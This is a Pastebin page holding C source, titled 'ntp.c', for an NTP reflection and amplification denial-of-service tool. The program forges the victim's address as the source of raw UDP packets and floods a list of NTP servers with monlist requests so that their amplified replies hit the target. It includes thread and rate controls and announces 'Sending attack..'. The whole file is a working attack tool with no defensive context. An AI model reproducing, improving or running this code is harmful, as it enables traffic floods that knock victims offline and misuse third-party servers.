daily pastebin goal
47%
SHARE
TWEET

ntp.c

wtfbbq May 30th, 2015 (edited) 3,536 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*  
  2.  *  This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products.
  3.  */
  4.  
  5. #include <time.h>
  6. #include <pthread.h>
  7. #include <unistd.h>
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <sys/socket.h>
  12. #include <netinet/ip.h>
  13. #include <netinet/udp.h>
  14. #include <arpa/inet.h>
  15. #define MAX_PACKET_SIZE 8192
  16. #define PHI 0x9e3779b9
  17. static uint32_t Q[4096], c = 362436;
  18. struct list
  19. {
  20.     struct sockaddr_in data;
  21.     struct list *next;
  22.     struct list *prev;
  23. };
  24. struct list *head;
  25. volatile int limiter;
  26. volatile unsigned int pps;
  27. volatile unsigned int sleeptime = 100;
  28. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  29. void init_rand(uint32_t x)
  30. {
  31.     int i;
  32.     Q[0] = x;
  33.     Q[1] = x + PHI;
  34.     Q[2] = x + PHI + PHI;
  35.     for (i = 3; i < 4096; i++)
  36.     {
  37.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  38.     }
  39. }
  40. uint32_t rand_cmwc(void)
  41. {
  42.     uint64_t t, a = 18782LL;
  43.     static uint32_t i = 4095;
  44.     uint32_t x, r = 0xfffffffe;
  45.     i = (i + 1) & 4095;
  46.     t = a * Q[i] + c;
  47.     c = (t >> 32);
  48.     x = t + c;
  49.     if (x < c) {
  50.     x++;
  51.     c++;
  52.     }
  53.     return (Q[i] = r - x);
  54. }
  55. unsigned short csum (unsigned short *buf, int nwords)
  56. {
  57.     unsigned long sum = 0;
  58.     for (sum = 0; nwords > 0; nwords--)
  59.     sum += *buf++;
  60.     sum = (sum >> 16) + (sum & 0xffff);
  61.     sum += (sum >> 16);
  62.     return (unsigned short)(~sum);
  63. }
  64. void setup_ip_header(struct iphdr *iph)
  65. {
  66.     iph->ihl = 5;
  67.     iph->version = 4;
  68.     iph->tos = 0;
  69.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
  70.     iph->id = htonl(54321);
  71.     iph->frag_off = 0;
  72.     iph->ttl = MAXTTL;
  73.     iph->protocol = IPPROTO_UDP;
  74.     iph->check = 0;
  75.     iph->saddr = inet_addr("192.168.3.100");
  76. }
  77. void setup_udp_header(struct udphdr *udph)
  78. {
  79.     udph->source = htons(5678);
  80.         udph->dest = htons(123);
  81.         udph->check = 0;
  82.         memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", 8);
  83.         udph->len=htons(sizeof(struct udphdr) + 8);
  84. }
  85. void *flood(void *par1)
  86. {
  87.     struct thread_data *td = (struct thread_data *)par1;
  88.     char datagram[MAX_PACKET_SIZE];
  89.     struct iphdr *iph = (struct iphdr *)datagram;
  90.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  91.     struct sockaddr_in sin = td->sin;
  92.     struct  list *list_node = td->list_node;
  93.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  94.     if(s < 0){
  95.     fprintf(stderr, "error. got r00t?\n");
  96.     exit(-1);
  97.     }
  98.     init_rand(time(NULL));
  99.     memset(datagram, 0, MAX_PACKET_SIZE);
  100.     setup_ip_header(iph);
  101.     setup_udp_header(udph);
  102.     udph->source = htons(rand() % 65535 - 1026);
  103.     iph->saddr = sin.sin_addr.s_addr;
  104.     iph->daddr = list_node->data.sin_addr.s_addr;
  105.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  106.     int tmp = 1;
  107.     const int *val = &tmp;
  108.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  109.     fprintf(stderr, "error. u dun goofed.\n");
  110.     exit(-1);
  111.     }
  112.     init_rand(time(NULL));
  113.     register unsigned int i;
  114.     i = 0;
  115.     while(1){
  116.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  117.     list_node = list_node->next;
  118.     iph->daddr = list_node->data.sin_addr.s_addr;
  119.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  120.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  121.     pps++;
  122.     if(i >= limiter)
  123.     {
  124.     i = 0;
  125.     usleep(sleeptime);
  126.     }
  127.     i++;
  128.     }
  129. }
  130. int main(int argc, char *argv[ ])
  131. {
  132.     if(argc < 5){
  133.     fprintf(stderr, "Invalid parameters!\n");
  134.     fprintf(stdout, "Usage: %s [IP] [file] [threads] [limiter] [time]\n", argv[0]);
  135.     exit(-1);
  136.     }
  137.     srand(time(NULL));
  138.     int i = 0;
  139.     head = NULL;
  140.     fprintf(stdout, "Opening sockets...\n");
  141.     int max_len = 128;
  142.     char *buffer = (char *) malloc(max_len);
  143.     buffer = memset(buffer, 0x00, max_len);
  144.     int num_threads = atoi(argv[3]);
  145.     int maxpps = atoi(argv[4]);
  146.     limiter = 0;
  147.     pps = 0;
  148.     int multiplier = 20;
  149.     FILE *list_fd = fopen(argv[2],  "r");
  150.     while (fgets(buffer, max_len, list_fd) != NULL) {
  151.     if ((buffer[strlen(buffer) - 1] == '\n') ||
  152.     (buffer[strlen(buffer) - 1] == '\r')) {
  153.     buffer[strlen(buffer) - 1] = 0x00;
  154.     if(head == NULL)
  155.     {
  156.     head = (struct list *)malloc(sizeof(struct list));
  157.     bzero(&head->data, sizeof(head->data));
  158.     head->data.sin_addr.s_addr=inet_addr(buffer);
  159.     head->next = head;
  160.     head->prev = head;
  161.     } else {
  162.     struct list *new_node = (struct list *)malloc(sizeof(struct list));
  163.     memset(new_node, 0x00, sizeof(struct list));
  164.     new_node->data.sin_addr.s_addr=inet_addr(buffer);
  165.     new_node->prev = head;
  166.     new_node->next = head->next;
  167.     head->next = new_node;
  168.     }
  169.     i++;
  170.     } else {
  171.     continue;
  172.     }
  173.     }
  174.     struct list *current = head->next;
  175.     pthread_t thread[num_threads];
  176.     struct sockaddr_in sin;
  177.     sin.sin_family = AF_INET;
  178.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  179.     struct thread_data td[num_threads];
  180.     for(i = 0;i<num_threads;i++){
  181.     td[i].thread_id = i;
  182.     td[i].sin= sin;
  183.     td[i].list_node = current;
  184.     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  185.     }
  186.     fprintf(stdout, "Sending attack..\n");
  187.     for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  188.     {
  189.     usleep((1000/multiplier)*1000);
  190.     if((pps*multiplier) > maxpps)
  191.     {
  192.     if(1 > limiter)
  193.     {
  194.     sleeptime+=100;
  195.     } else {
  196.     limiter--;
  197.     }
  198.     } else {
  199.     limiter++;
  200.     if(sleeptime > 25)
  201.     {
  202.     sleeptime-=25;
  203.     } else {
  204.     sleeptime = 0;
  205.     }
  206.     }
  207.     pps = 0;
  208.     }
  209.     return 0;
  210. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top